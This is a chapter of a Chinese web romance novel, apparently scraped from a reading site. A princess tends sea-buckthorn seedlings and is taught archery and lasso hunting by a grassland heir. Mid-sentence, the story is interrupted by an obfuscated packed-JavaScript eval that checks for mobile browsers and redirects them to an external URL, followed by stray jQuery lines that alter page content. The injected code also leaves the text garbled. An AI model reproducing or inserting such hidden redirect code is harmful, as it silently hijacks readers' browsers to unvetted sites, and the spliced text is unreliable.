“沈疏禾还没睡醒?”


    “还没有,但是公主应该很快就要醒了。”


    “她昨天在做什么?”


    “公主昨日让我带她去熟悉一下草原的环境,我们…….”


    沈疏禾在帐子里听到帐子外隐隐约约有对话的声音,迷迷糊糊伸了个懒腰然后睁开了眼。


    帐子外的两人还在继续对话,她有些好奇地穿上了衣裳放轻脚步向帐子的门口走去,却听见两人的对话声突然停了下来。


    沈疏禾更疑惑了,她正想更凑近帘帐一些,却突然看见帘帐被掀开,于是她和杏儿面面相觑。


    “公主,你醒啦。但是公主您怎么站在帘帐这里,是要出去吗?”杏儿奇怪地问道。


    “咳,那个我之前束发的丝带我找不到了,杏儿你能帮我找一下吗?”沈疏禾瞥了一眼正好整以暇双手怀抱在胸前的人呼延律有些尴尬,随便扯了个理由。


    “噢,原来是这样啊。”杏儿没有怀疑,走进帐子里去帮沈疏禾找“消失”的丝带。


    “睡醒了?”呼延律嗓音低沉,语气了还带着些并不明显的笑意。


    “不明显么,呼延少主大清早就站在我帐外,可是有什么事?”沈疏禾反问道。


    “我只是来给你提个醒,你是不是把你的沙棘田给忘干净了?”呼延律挑了挑眉问。


    沈疏禾自是没忘,她本来就打算今早去看沙棘地,没想到正好碰上了呼延律。


    “自然没忘,就不必呼延少主费心提醒了。”沈疏禾转身回到帐子里洗漱。


    呼延律站在帐子的门口并未离开,反而逗弄起了门口旁边蜷缩着的灰耳,看上去并没有离开的打算。


    “呼延少主这是还有别的事要吩咐!”沈疏禾赶人的言外之意十分明显。


    “我今日也要去沙棘地看看成果,顺便带你一道去。”呼延律摸了摸灰耳的头回答。


    “不……”沈疏禾还没来得及拒绝拒绝呼延律有些锐利的双眸对上视线,于是后面的话被她生生咽了下去,尬笑了几声说:“那多谢呼延少主好意了。”


    “嗯。”呼延律看似高冷地点了点头。


    呼延律骑着白马带沈疏禾来到了盐碱地,远远就看见牧童阿吉蹲在田垄边,正用柳签小心翼翼地拨弄沙棘苗周围的土壤。


    “姐姐!”阿吉看见坐在前面的沈疏禾十分兴奋地招手,“你快看苗苗又长高了!”


    沈疏禾也笑着摆了摆手,被呼延律扶着下了马然后快步走过去,蹲下身仔细查看沙棘的长势。


    三天前种下的沙棘种子已经抽出嫩绿的枝条,虽然只有半尺高,但叶片肥厚,边缘带着细微的锯齿,茎干上还覆着一层淡淡的白色绒毛——这是沙棘已经在逐渐适应干旱的特征。


    她用手指轻轻拨开表层的土壤,露出浅层的根系。沙棘的根须已经向四周伸展,细密的根毛上沾着湿润的泥土,说明土壤的保水性比之前好了许多。


    “阿吉,你把沙棘养得很好,我们阿吉可真聪明啊。”沈疏禾弯唇一笑,摸了摸阿吉的头对阿吉不吝夸奖道。


    “谢谢疏禾姐姐,我之后会更小心地照顾它们的。”阿吉有些腼腆地回答,脸颊时间爬上了红晕。


    呼延律皱了皱眉说:“你夸就夸,总是对阿吉动手动脚的做什么,他以后可是要娶草原女子的,你这样他以后还怎么娶妻生子。”


    沈疏禾有些无语地看着呼延律,你要不要听听自己到底在说些什么。她不过是摸了摸小孩子的头,怎么说的好像她平白玷污了人家的清白似的。


    “没事的少主,疏禾姐姐怎么摸我都没关系。”阿吉立马为沈疏禾说话。


    “知道了呼延少主,我下次不摸了。”沈疏禾懒得和呼延律较劲。


    她又自习观察了沙棘的生长状况,发现了一些细节上要注意的问题过后又偏过头对阿吉说:“阿吉你看,以后我们在浇水的时候要沿着根部周围慢慢倒,不能直接冲在茎干上。”她一点点示范给阿吉看,“因为沙棘怕涝,水太多反而会烂根。”


    阿吉认真点头,从羊皮水囊里倒出清水,学着沈疏禾的样子,让水缓缓渗入土壤。


    “我们阿吉真聪明。”沈疏禾看着阿吉有样学样上手很快,十分满意地说着,下意识就想摸摸阿吉圆溜溜的脑袋,却在看到呼延律不满的申请时很快缩了回去。


    算了,毕竟他才是草原老大,沈疏禾将识时务者为俊杰贯彻到底。


    沈疏禾仔细检查完最后一株沙棘苗,拍了拍手上的泥土站起身来。正午的阳光晒得她脸颊微红,额角也沁出细密的汗珠。


    “呼——”沈疏禾轻吐一口气,这些沙棘的长势都还不错,甚至有些好得出乎她的意料。


    “看你的表情,这些沙棘应该还不错?”呼延律的声音从身后传来。他不知何时已经牵着他那匹标志性的白马走近,手里还拿着一个皮质水囊递给她:“喝点水吧。”


    “那多谢呼延少主了。”沈疏禾对呼延律的体贴有些意外,弯唇笑着道谢,然后仰头喝了一口,清凉的泉水瞬间缓解了那股燥热。


    她喝完后擦了擦嘴角,“这些沙棘比我想象中适应得更好,不出半个月应该就能看到花苞了。”


    呼延律“嗯”了一声,目光却落在远处的草场上:“我听杏儿说你昨日让她带你去熟悉草原的环境?”


    “是啊,我想早点熟悉会方便许多。”沈疏禾点了点头回答。


    “感觉如何?”呼延律继续问。


    “就还好吧,草原不都一样,也没什么别的感觉。”沈疏禾想了想说。


    “那我带你去看点不一样的。”呼延律扬了扬唇说。


    “现在?”


    “现在。”他已经翻身上马,朝她伸出了手,“带你去猎点晚饭。”


    沈疏禾犹豫了一下,还是搭上了他的手。呼延律一用力,她整个人就被拽上了马背,稳稳地落在他身前。


    “坐稳了。”他的声音近在耳畔,温热的气息拂过她的发丝。


    还没等她反应过来,白马已经飞奔起来。


    草原深处


    风声在耳边呼啸,沈疏禾不得不往后靠了靠,后背几乎贴上呼延律的胸膛。青草与泥土的气息混着他身上特有的清香的味道,让她莫名感到安心。


    “看那边。”呼延律突然勒住缰绳,指着远处的灌木丛。


    沈疏禾顺着他的手指望去,看见几只灰褐色的野兔正在啃食草根。


    “就它们了。”呼延律的眼神锋利,嘴角微微勾起,就想野兽正在找到了自己要狩猎的猎物。


    “嗯?”沈疏禾还没反应过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339424|167836||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,呼延律就已经解下背上的长弓递给她。


    “你是让我自己猎?”沈疏禾接过沉甸甸的长弓,有些无措又慌张:“我……我没射过箭。”


    呼延律低笑一声,双臂从她身侧环过,大手覆在她的手上帮她调整姿势:“左手握这里,右手拉弦。”


    他的胸膛紧贴着她的后背,说话时胸腔的震动清晰可感。沈疏禾耳尖发烫,却还是按照他的引导拉开弓弦。


    “眼睛,准星,猎物,三点一线。”他的声音低沉,“别紧张,放轻松,稳住呼吸。”


    沈疏禾屏息凝神,手指一松——


    “嗖!”


    箭矢破空而去,擦着野兔的耳边钉入土中。受惊的野兔瞬间四散奔逃。


    “还差一点。”呼延律的语气里带着笑意,“不过作为第一次,勉强还算不错。”


    沈疏禾有些懊恼:“应该再往右偏一些……”


    “不急。”呼延律收回长弓,“现在教你个更有意思的方法。”


    他忽然从马鞍旁取出一根套索,在手中熟练地转了几圈。远处又出现一只落单的野兔,正警惕地竖起耳朵。


    “看好了。”


    套索在空中划出优美的弧线,精准地套住了野兔的后腿。呼延律手腕一抖,野兔就被凌空拽了回来,稳稳落在他手中。


    “这……”沈疏禾看得目瞪口呆。


    呼延律利落地拧断野兔的脖子,将还在抽搐的猎物挂在马鞍上。他看着沈疏禾瞪大眼睛的样子觉得有些可爱,“这么惊讶做什么,在草原上生长的孩子从很小的时候就会这个。”


    沈疏禾突然注意到他右手虎口处有一道陈年疤痕:“这个伤疤是怎么弄的?”


    “第一次用套索时被绳子勒的。”他漫不经心地回答。


    沈疏禾不禁莞尔:“原来我们草原少主也会有失手的时候。”


    呼延律轻哼一声,突然催马向前:“抓紧了。”


    白马再次飞奔起来,沈疏禾惊呼一声,下意识抱紧了马脖子。呼延律的笑声随风传来,爽朗而肆意。


    阳光洒在两人身上,在无垠的草原上投下长长的影子。沈疏禾的发丝被风吹乱,有几缕拂过呼延律的脸颊,带着淡淡的香味,让呼延律突然有些走神。


    呼延律忽然放缓了速度:“你要再试试这个吗”


    沈疏禾眼睛亮晶晶的:“你是要教我套索吗?”


    “嗯。”呼延律挑了挑眉,从腰间解下另一根细绳:“给你用这个,短一些更好控制。”


    接下来的时间里,沈疏禾专心练习着套索技巧。呼延律偶尔调整她的动作,手指不经意间擦过她的手腕,引起一阵微妙的战栗。


    当夕阳开始西沉时,他们的马鞍上已经挂了四只野兔和一只松鸡。


    沈疏禾心满意足地看着一个下午的战利品,心情十分愉悦。呼延律嘴角的那抹淡笑也一直没消失过,“走吧,我带你回去。”


    “好。”沈疏禾刚应声呼延律就将她拽上了马,两人又一起骑着马回去。


    回程的路上,沈疏禾忽然开口:“谢谢你今天…..教我这些。”


    呼延律没有回答,嘴角的弧度却不知不觉扩大。


    夕阳将两人的影子拉得很长,在草原上紧紧依偎在一起,显得暧昧又温馨。